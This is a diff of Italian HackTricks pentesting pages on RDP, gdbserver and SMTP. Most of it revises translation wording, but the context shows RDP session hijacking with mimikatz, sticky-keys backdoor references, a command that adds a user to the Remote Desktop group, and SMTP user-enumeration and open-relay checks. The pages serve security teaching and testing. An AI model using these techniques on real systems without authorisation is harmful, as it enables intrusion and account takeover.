-Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! +Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! Altri modi per supportare HackTricks: * Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
diff --git a/network-services-pentesting/pentesting-rdp.md b/network-services-pentesting/pentesting-rdp.md index 7b9183654..cddcf38e3 100644 --- a/network-services-pentesting/pentesting-rdp.md +++ b/network-services-pentesting/pentesting-rdp.md @@ -10,11 +10,11 @@ Altri modi per supportare HackTricks: * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. -
+
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un test di penetrazione completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, aprire shell e divertirsi. @@ -22,7 +22,7 @@ Altri modi per supportare HackTricks: ## Informazioni di base -Sviluppato da Microsoft, il **Protocollo Desktop Remoto** (**RDP**) è progettato per consentire una connessione dell'interfaccia grafica tra computer su una rete. Per stabilire tale connessione, il software client **RDP** è utilizzato dall'utente e contemporaneamente il computer remoto deve operare con il software server **RDP**. Questa configurazione consente il controllo e l'accesso senza soluzione di continuità dell'ambiente desktop di un computer remoto, portando essenzialmente la sua interfaccia al dispositivo locale dell'utente. +Sviluppato da Microsoft, il **Remote Desktop Protocol** (**RDP**) è progettato per consentire una connessione dell'interfaccia grafica tra computer su una rete. Per stabilire tale connessione, il software client **RDP** è utilizzato dall'utente e contemporaneamente il computer remoto deve operare con il software server **RDP**. Questa configurazione consente il controllo e l'accesso senza soluzione di continuità dell'ambiente desktop di un computer remoto, portando essenzialmente la sua interfaccia al dispositivo locale dell'utente. **Porta predefinita:** 3389 ``` @@ -33,7 +33,7 @@ PORT STATE SERVICE ### Automatico -{% codice overflow="wrap" %} +{% code overflow="wrap" %} ```bash nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 ``` @@ -67,9 +67,9 @@ rdp\_check.py di impacket ti permette di verificare se alcune credenziali sono v ```bash rdp_check /:@ ``` -
+
-**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi. +**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi. {% embed url="https://pentest-tools.com/" %} @@ -91,7 +91,7 @@ Ora sarai all'interno della sessione RDP selezionata e dovrai impersonare un ute **Importante**: Quando accedi a sessioni RDP attive, disconnetterai l'utente che la stava utilizzando. -Potresti ottenere le password dal processo di dump, ma questo metodo è molto più veloce e ti consente di interagire con i desktop virtuali dell'utente (password in notepad senza essere salvate su disco, altre sessioni RDP aperte su altre macchine...) +Potresti ottenere le password dal processo di dumping, ma questo metodo è molto più veloce e ti consente di interagire con i desktop virtuali dell'utente (password in notepad senza essere salvate su disco, altre sessioni RDP aperte su altre macchine...) #### **Mimikatz** @@ -104,7 +104,7 @@ ts::remote /id:2 #Connect to the session Combinando questa tecnica con **stickykeys** o **utilman sarai in grado di accedere a un CMD amministrativo e a qualsiasi sessione RDP in qualsiasi momento** -Puoi cercare le RDP che sono state compromesse con una di queste tecniche già con: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) +Puoi cercare le RDP che sono state backdoorate con una di queste tecniche già con: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) ### Iniezione di Processi RDP @@ -122,14 +122,16 @@ net localgroup "Remote Desktop Users" UserLoginName /add * [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn) -**AutoRDPwn** è un framework di post-exploitation creato in Powershell, progettato principalmente per automatizzare l'attacco **Shadow** sui computer Microsoft Windows. Questa vulnerabilità (elencata come una funzionalità da Microsoft) consente a un attaccante remoto di **visualizzare il desktop della vittima senza il suo consenso**, e addirittura controllarlo a richiesta, utilizzando strumenti nativi del sistema operativo stesso. +**AutoRDPwn** è un framework di post-exploitation creato in Powershell, progettato principalmente per automatizzare l'attacco **Shadow** sui computer Microsoft Windows. Questa vulnerabilità (elencata come una funzionalità da Microsoft) consente a un attaccante remoto di **visualizzare il desktop della vittima senza il suo consenso**, e persino controllarlo su richiesta, utilizzando strumenti nativi del sistema operativo stesso. * [**EvilRDP**](https://github.com/skelsec/evilrdp) * Controlla il mouse e la tastiera in modo automatizzato da riga di comando * Controlla gli appunti in modo automatizzato da riga di comando * Avvia un proxy SOCKS dal client che instrada la comunicazione di rete verso il target tramite RDP -* Esegue comandi SHELL e PowerShell arbitrari sul target senza caricare file +* Esegui comandi SHELL e PowerShell arbitrari sul target senza caricare file * Carica e scarica file da/per il target anche quando i trasferimenti di file sono disabilitati sul target + +## Comandi Automatici di HackTricks ``` Protocol_Name: RDP #Protocol Abbreviation if there is one. Port_Number: 3389 #Comma separated if there is more than one. @@ -148,22 +150,22 @@ Name: Nmap Description: Nmap with RDP Scripts Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP} ``` -
+
-**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di dedicare più tempo a scavare in profondità, aprire shell e divertirsi. +**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi. {% embed url="https://pentest-tools.com/" %}
-Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! +Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! Altri modi per supportare HackTricks: -* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) +* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
diff --git a/network-services-pentesting/pentesting-remote-gdbserver.md b/network-services-pentesting/pentesting-remote-gdbserver.md index e448429d0..4f1d956f9 100644 --- a/network-services-pentesting/pentesting-remote-gdbserver.md +++ b/network-services-pentesting/pentesting-remote-gdbserver.md @@ -6,17 +6,17 @@ Altri modi per supportare HackTricks: -* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) +* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. -
+
-**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi. +**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, aprire shell e divertirsi. {% embed url="https://pentest-tools.com/" %} @@ -195,7 +195,7 @@ RemoteCmd() ``` {% endcode %} -
+
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi. @@ -207,10 +207,10 @@ RemoteCmd() Altri modi per supportare HackTricks: -* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/network-services-pentesting/pentesting-smtp/README.md b/network-services-pentesting/pentesting-smtp/README.md index 7cce435bb..a32f42441 100644 --- a/network-services-pentesting/pentesting-smtp/README.md +++ b/network-services-pentesting/pentesting-smtp/README.md @@ -2,7 +2,7 @@
-Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! +Impara l'hacking AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)! Altri modi per supportare HackTricks: @@ -14,7 +14,7 @@ Altri modi per supportare HackTricks:
-
+
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un test di penetrazione completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi. @@ -33,9 +33,9 @@ PORT STATE SERVICE REASON VERSION ``` ### Intestazioni EMAIL -Se hai l'opportunità di **far inviare all'utente un'email** (tramite il modulo di contatto della pagina web per esempio), fallo perché **potresti apprendere la topologia interna** della vittima osservando le intestazioni dell'email. +Se hai l'opportunità di **far inviare all'utente un'email** (tramite il modulo di contatto della pagina web, ad esempio), fallo perché **potresti apprendere la topologia interna** della vittima osservando le intestazioni dell'email. -Puoi anche ricevere un'email da un server SMTP cercando di **inviare a quel server un'email a un indirizzo inesistente** (poiché il server invierà all'attaccante un'email di notifica di mancata consegna). Ma assicurati di inviare l'email da un indirizzo consentito (controlla la politica SPF) e che tu possa ricevere messaggi di notifica di mancata consegna. +Puoi anche ottenere un'email da un server SMTP cercando di **inviare a quel server un'email a un indirizzo inesistente** (poiché il server invierà all'attaccante un'email NDN). Ma assicurati di inviare l'email da un indirizzo consentito (controlla la politica SPF) e che tu possa ricevere messaggi NDN. Dovresti anche provare a **inviare contenuti diversi perché potresti trovare informazioni più interessanti** nelle intestazioni come: `X-Virus-Scanned: by av.domain.com`\ Dovresti inviare il file di test EICAR.\ @@ -80,7 +80,7 @@ Oppure **automatizza** questo con il plugin **nmap** `smtp-ntlm-info.nse` ### Nome del server interno - Divulgazione di informazioni -Alcuni server SMTP completano automaticamente l'indirizzo del mittente quando viene emesso il comando "MAIL FROM" senza un indirizzo completo, rivelando il suo nome interno: +Alcuni server SMTP completano automaticamente l'indirizzo del mittente quando il comando "MAIL FROM" viene emesso senza un indirizzo completo, rivelando il suo nome interno: ``` 220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200 EHLO all @@ -129,7 +129,7 @@ RCPT TO:ed ``` ### VRFY -Il comando VRFY viene utilizzato per verificare se un utente specifico esiste su un server SMTP. +VRFY (Verify) è un comando SMTP utilizzato per confermare l'esistenza di un utente specifico in un sistema di posta elettronica. ```bash $ telnet 1.1.1.1 25 Trying 1.1.1.1... @@ -168,7 +168,7 @@ Metasploit: auxiliary/scanner/smtp/smtp_enum smtp-user-enum: smtp-user-enum -M -u -t Nmap: nmap --script smtp-enum-users ``` -
+
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi. @@ -176,7 +176,7 @@ Nmap: nmap --script smtp-enum-users ## Rapporti DSN -**Rapporti di Notifica dello Stato di Consegna**: Se invii una **email** a un'organizzazione con un **indirizzo non valido**, l'organizzazione ti notificherà che l'indirizzo era invalido inviando una **mail di ritorno a te**. Gli **intestazioni** dell'email restituita conterranno possibili **informazioni sensibili** (come l'indirizzo IP dei servizi di posta che hanno interagito con i rapporti o informazioni sull'antivirus). +**Rapporti di notifica dello stato di consegna**: Se invii una **email** a un'organizzazione con un **indirizzo non valido**, l'organizzazione ti notificherà che l'indirizzo è stato invalidato inviando una **mail di ritorno a te**. Gli **intestazioni** dell'email restituita conterranno possibili **informazioni sensibili** (come l'indirizzo IP dei servizi di posta che hanno interagito con i rapporti o informazioni sull'antivirus). ## [Comandi](smtp-commands.md) @@ -253,18 +253,18 @@ La vulnerabilità di Smuggling SMTP ha permesso di aggirare tutte le protezioni ## Contromisure Spoofing Email -Le organizzazioni sono impedite dall'invio di email non autorizzate per conto loro impiegando **SPF**, **DKIM**, e **DMARC** a causa della facilità di falsificare messaggi SMTP. +Le organizzazioni sono impedite dall'invio di email non autorizzate per conto loro utilizzando **SPF**, **DKIM** e **DMARC** a causa della facilità di falsificare i messaggi SMTP. -Una **guida completa a queste contromisure** è resa disponibile su [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/). +Una **guida completa a queste contromisure** è disponibile su [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/). ### SPF {% hint style="danger" %} SPF [è stato "deprecato" nel 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Questo significa che invece di creare un **record TXT** in `_spf.domain.com` lo si crea in `domain.com` utilizzando la **stessa sintassi**.\ -Inoltre, per riutilizzare i record spf precedenti è comune trovare qualcosa del genere `"v=spf1 include:_spf.google.com ~all"` +Inoltre, per riutilizzare i record SPF precedenti è comune trovare qualcosa del genere `"v=spf1 include:_spf.google.com ~all"` {% endhint %} -**Sender Policy Framework** (SPF) è un meccanismo che consente agli Agenti di Trasferimento di Posta (MTA) di verificare se un host che invia una email è autorizzato interrogando un elenco di server di posta autorizzati definiti dalle organizzazioni. Questo elenco, che specifica indirizzi IP/range, domini e altre entità **autorizzate a inviare email per conto di un nome di dominio**, include vari "**Meccanismi**" nel record SPF. +**Sender Policy Framework** (SPF) è un meccanismo che consente agli Agenti di Trasferimento di Posta (MTA) di verificare se un host che invia una email è autorizzato interrogando un elenco di server di posta autorizzati definiti dalle organizzazioni. Questo elenco, che specifica gli indirizzi IP/range, i domini e altre entità **autorizzate a inviare email per conto di un nome di dominio**, include vari "**Meccanismi**" nel record SPF. #### Meccanismi @@ -273,17 +273,17 @@ Da [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework): | Meccanismo | Descrizione | | --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | ALL | Corrisponde sempre; utilizzato per un risultato predefinito come `-all` per tutti gli IP non corrispondenti ai meccanismi precedenti. | -| A | Se il nome di dominio ha un record di indirizzo (A o AAAA) che può essere risolto all'indirizzo del mittente, corrisponderà. | +| A | Se il nome di dominio ha un record di indirizzo (A o AAAA) che può essere risolto nell'indirizzo del mittente, corrisponderà. | | IP4 | Se il mittente si trova in un determinato intervallo di indirizzi IPv4, corrisponde. | | IP6 | Se il mittente si trova in un determinato intervallo di indirizzi IPv6, corrisponde. | | MX | Se il nome di dominio ha un record MX che risolve all'indirizzo del mittente, corrisponderà (ovvero la posta proviene da uno dei server di posta in arrivo del dominio). | -| PTR | Se il nome di dominio (record PTR) per l'indirizzo del client è nel dominio dato e quel nome di dominio risolve all'indirizzo del client (DNS inverso confermato in avanti), corrisponde. Questo meccanismo è sconsigliato e dovrebbe essere evitato, se possibile. | +| PTR | Se il nome di dominio (record PTR) per l'indirizzo del client è nel dominio dato e quel nome di dominio risolve all'indirizzo del client (DNS inverso confermato in avanti), corrisponde. Questo meccanismo è scoraggiato e dovrebbe essere evitato, se possibile. | | EXISTS | Se il nome di dominio dato risolve a un qualsiasi indirizzo, corrisponde (indipendentemente dall'indirizzo a cui risolve). Questo è raramente usato. Insieme al linguaggio macro SPF offre corrispondenze più complesse come le query DNSBL. | | INCLUDE | Fa riferimento alla politica di un altro dominio. Se la politica di quel dominio passa, passa anche questo meccanismo. Tuttavia, se la politica inclusa fallisce, il processo continua. Per delegare completamente alla politica di un altro dominio, deve essere utilizzata l'estensione di reindirizzamento. | | REDIRECT |

Un reindirizzamento è un puntatore a un altro nome di dominio che ospita una politica SPF, consente a più domini di condividere la stessa politica SPF. È utile quando si lavora con un gran numero di domini che condividono la stessa infrastruttura email.

La politica SPF del dominio indicato nel Meccanismo di reindirizzamento verrà utilizzata.

| -È anche possibile identificare **Qualificatori** che indicano **cosa fare se un meccanismo viene corrisposto**. Per impostazione predefinita, viene utilizzato il **qualificatore "+"** (quindi se viene corrisposto un qualsiasi meccanismo, ciò significa che è consentito).\ -Di solito noterai **alla fine di ciascuna politica SPF** qualcosa del genere: **\~all** o **-all**. Questo viene utilizzato per indicare che **se il mittente non corrisponde a nessuna politica SPF, dovresti contrassegnare l'email come non attendibile (\~) o rifiutare (-) l'email.** +È anche possibile identificare **Qualificatori** che indicano **cosa fare se un meccanismo corrisponde**. Per impostazione predefinita, viene utilizzato il **qualificatore "+"** (quindi se un qualsiasi meccanismo corrisponde, significa che è consentito).\ +Di solito noterai **alla fine di ciascuna politica SPF** qualcosa come: **\~all** o **-all**. Questo viene utilizzato per indicare che **se il mittente non corrisponde a nessuna politica SPF, dovresti contrassegnare l'email come non attendibile (\~) o rifiutare (-) l'email.** #### Qualificatori @@ -294,7 +294,7 @@ Ogni meccanismo all'interno della politica può essere preceduto da uno dei quat * **`~`**: Indica SOFTFAIL, fungendo da punto intermedio tra NEUTRO e FAIL. Le email che soddisfano questo risultato vengono tipicamente accettate ma contrassegnate di conseguenza. * **`-`**: Indica FAIL, suggerendo che l'email dovrebbe essere rifiutata direttamente. -Nell'esempio seguente, è illustrata la **politica SPF di google.com**. Nota l'inclusione delle politiche SPF da diversi domini all'interno della prima politica SPF: +Nell'esempio seguente è illustrata la **politica SPF di google.com**. Nota l'inclusione delle politiche SPF da diversi domini all'interno della prima politica SPF: ```shell-session dig txt google.com | grep spf google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all" @@ -313,13 +313,13 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 dig txt _netblocks3.google.com | grep spf _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all" ``` -Tradizionalmente era possibile falsificare qualsiasi nome di dominio che non avesse un record SPF corretto/o. **Oggi**, se una **email** proviene da un **dominio senza un record SPF valido** probabilmente verrà **rifiutata/marcata come non attendibile automaticamente**. +Tradizionalmente era possibile falsificare qualsiasi nome di dominio che non avesse un record SPF corretto/o. **Oggi**, se **l'email** proviene da un **dominio senza un record SPF valido** probabilmente verrà **rifiutata/marcata come non attendibile automaticamente**. Per verificare l'SPF di un dominio è possibile utilizzare strumenti online come: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) ### DKIM (DomainKeys Identified Mail) -DKIM viene utilizzato per firmare le email in uscita, consentendo la loro validazione da parte di Mail Transfer Agents (MTA) esterni attraverso il recupero della chiave pubblica del dominio da DNS. Questa chiave pubblica si trova in un record TXT del dominio. Per accedere a questa chiave, è necessario conoscere sia il selettore che il nome di dominio. +DKIM viene utilizzato per firmare le email in uscita, consentendo la loro validazione da parte di agenti di trasferimento di posta (MTA) esterni attraverso il recupero della chiave pubblica del dominio da DNS. Questa chiave pubblica si trova in un record TXT del dominio. Per accedere a questa chiave, è necessario conoscere sia il selettore che il nome di dominio. Ad esempio, per richiedere la chiave, sono essenziali il nome di dominio e il selettore. Questi possono essere trovati nell'intestazione dell'email `DKIM-Signature`, ad esempio, `d=gmail.com;s=20120113`. @@ -349,7 +349,7 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA ``` #### Tag DMARC -| Nome Tag | Scopo | Esempio | +| Nome Tag | Scopo | Esempio | | -------- | --------------------------------------------- | ------------------------------- | | v | Versione del protocollo | v=DMARC1 | | pct | Percentuale di messaggi sottoposti a filtraggio | pct=20 | @@ -364,27 +364,27 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA **Da** [**qui**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\ È necessario avere record SPF separati per ciascun sottodominio da cui si desidera inviare posta.\ -Quanto segue è stato originariamente pubblicato su openspf.org, che era una grande risorsa per questo tipo di informazioni. +Quanto segue è stato originariamente pubblicato su openspf.org, che un tempo era una grande risorsa per questo tipo di informazioni. > La Domanda del Demone: Cosa succede con i sottodomini? > -> Se ricevo posta da pielovers.demon.co.uk e non ci sono dati SPF per pielovers, dovrei tornare indietro di un livello e testare SPF per demon.co.uk? No. Ogni sottodominio in Demon è un cliente diverso, e ogni cliente potrebbe avere la propria politica. Non avrebbe senso che la politica di Demon si applichi per impostazione predefinita a tutti i suoi clienti; se Demon vuole farlo, può impostare record SPF per ciascun sottodominio. +> Se ricevo posta da pielovers.demon.co.uk e non ci sono dati SPF per pielovers, dovrei tornare indietro di un livello e testare SPF per demon.co.uk? No. Ogni sottodominio presso Demon è un cliente diverso, e ogni cliente potrebbe avere la propria politica. Non avrebbe senso che la politica di Demon si applichi per impostazione predefinita a tutti i suoi clienti; se Demon vuole farlo, può configurare record SPF per ciascun sottodominio. > > Quindi il consiglio agli editori SPF è il seguente: dovresti aggiungere un record SPF per ciascun sottodominio o nome host che ha un record A o MX. > -> I siti con record A o MX wildcard dovrebbero avere anche un record SPF wildcard, della forma: \* IN TXT "v=spf1 -all" +> I siti con record A o MX wildcard dovrebbero anche avere un record SPF wildcard, della forma: \* IN TXT "v=spf1 -all" Ha senso - un sottodominio potrebbe benissimo trovarsi in una posizione geografica diversa e avere una definizione SPF molto diversa. ### **Relay Aperto** -Quando vengono inviate email, è cruciale assicurarsi che non vengano contrassegnate come spam. Questo viene spesso realizzato attraverso l'uso di un **server di relay fidato dal destinatario**. Tuttavia, una sfida comune è che gli amministratori potrebbero non essere pienamente consapevoli di quali **intervalli di IP siano sicuri da consentire**. Questa mancanza di comprensione può portare a errori nella configurazione del server SMTP, un rischio spesso identificato nelle valutazioni della sicurezza. +Quando vengono inviate email, è cruciale assicurarsi che non vengano contrassegnate come spam. Questo viene spesso realizzato attraverso l'uso di un **server di relay affidabile dal destinatario**. Tuttavia, una sfida comune è che gli amministratori potrebbero non essere pienamente consapevoli di quali **intervalli di IP siano sicuri da consentire**. Questa mancanza di comprensione può portare a errori nella configurazione del server SMTP, un rischio spesso identificato nelle valutazioni della sicurezza. -Un workaround che alcuni amministratori utilizzano per evitare problemi di consegna delle email, specialmente per le comunicazioni con clienti potenziali o in corso, è **consentire connessioni da qualsiasi indirizzo IP**. Ciò viene fatto configurando il parametro `mynetworks` del server SMTP per accettare tutti gli indirizzi IP, come mostrato di seguito: +Un workaround che alcuni amministratori utilizzano per evitare problemi di consegna delle email, specialmente per le comunicazioni con potenziali o attuali clienti, è **consentire connessioni da qualsiasi indirizzo IP**. Ciò viene fatto configurando il parametro `mynetworks` del server SMTP per accettare tutti gli indirizzi IP, come mostrato di seguito: ```bash mynetworks = 0.0.0.0/0 ``` -Per verificare se un server di posta è un open relay (il che significa che potrebbe inoltrare email da qualsiasi origine esterna), viene comunemente utilizzato lo strumento `nmap`. Esso include uno script specifico progettato per testare ciò. Il comando per condurre una scansione dettagliata su un server (ad esempio, con IP 10.10.10.10) sulla porta 25 utilizzando `nmap` è: +Per verificare se un server di posta è un open relay (il che significa che potrebbe inoltrare email da qualsiasi origine esterna), viene comunemente utilizzato lo strumento `nmap`. Esso include uno script specifico progettato per testare ciò. Il comando per condurre una scansione dettagliata su un server (ad esempio, con IP 10.10.10.10) sulla porta 25 usando `nmap` è: ```bash nmap -p25 --script smtp-open-relay 10.10.10.10 -v ``` @@ -409,8 